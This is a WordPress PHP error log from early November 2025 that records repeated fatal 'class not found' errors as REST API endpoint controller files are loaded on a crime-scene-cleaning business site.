[01-Nov-2025 13:37:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[01-Nov-2025 13:51:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[01-Nov-2025 13:51:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[01-Nov-2025 13:52:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[01-Nov-2025 14:01:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[01-Nov-2025 14:04:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[01-Nov-2025 14:07:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[01-Nov-2025 14:12:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[01-Nov-2025 14:48:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[01-Nov-2025 14:48:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[01-Nov-2025 14:50:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[01-Nov-2025 15:10:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[01-Nov-2025 15:24:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[01-Nov-2025 22:28:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[03-Nov-2025 02:56:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[03-Nov-2025 02:56:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[03-Nov-2025 02:56:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[03-Nov-2025 02:57:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[03-Nov-2025 02:57:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[03-Nov-2025 02:58:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[03-Nov-2025 02:59:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[03-Nov-2025 03:00:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[03-Nov-2025 03:13:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[03-Nov-2025 03:14:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[03-Nov-2025 03:15:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[03-Nov-2025 03:16:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[03-Nov-2025 03:17:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[03-Nov-2025 03:18:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[03-Nov-2025 03:19:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[03-Nov-2025 03:20:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[03-Nov-2025 03:21:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[03-Nov-2025 03:22:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[03-Nov-2025 03:23:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[03-Nov-2025 03:24:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[03-Nov-2025 03:25:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[03-Nov-2025 03:27:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19
[03-Nov-2025 03:28:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[03-Nov-2025 03:29:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17
[03-Nov-2025 03:30:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[03-Nov-2025 03:31:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[03-Nov-2025 03:32:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20
[03-Nov-2025 03:33:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17
[03-Nov-2025 03:34:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[03-Nov-2025 03:39:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 17
[03-Nov-2025 03:42:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17
[03-Nov-2025 03:43:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17
[03-Nov-2025 03:45:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17
[03-Nov-2025 03:46:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17
[03-Nov-2025 03:47:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17
[03-Nov-2025 03:48:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17
[03-Nov-2025 03:49:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18
[03-Nov-2025 03:50:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17
[03-Nov-2025 03:51:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17
[03-Nov-2025 03:52:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17
[03-Nov-2025 03:53:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17
[03-Nov-2025 03:54:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17
[03-Nov-2025 03:55:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17
[03-Nov-2025 03:56:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17
[03-Nov-2025 03:57:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17
[03-Nov-2025 03:58:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17
[03-Nov-2025 03:59:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17
[03-Nov-2025 04:00:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17
[03-Nov-2025 04:01:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17
[03-Nov-2025 04:03:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13
[03-Nov-2025 04:04:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17
[03-Nov-2025 04:05:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17
[03-Nov-2025 04:06:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20
[03-Nov-2025 04:07:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17
[03-Nov-2025 04:08:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17
[03-Nov-2025 04:09:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18
[03-Nov-2025 04:12:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17
[03-Nov-2025 04:13:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_REST_Controller" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19
Stack trace:
#0 {main}
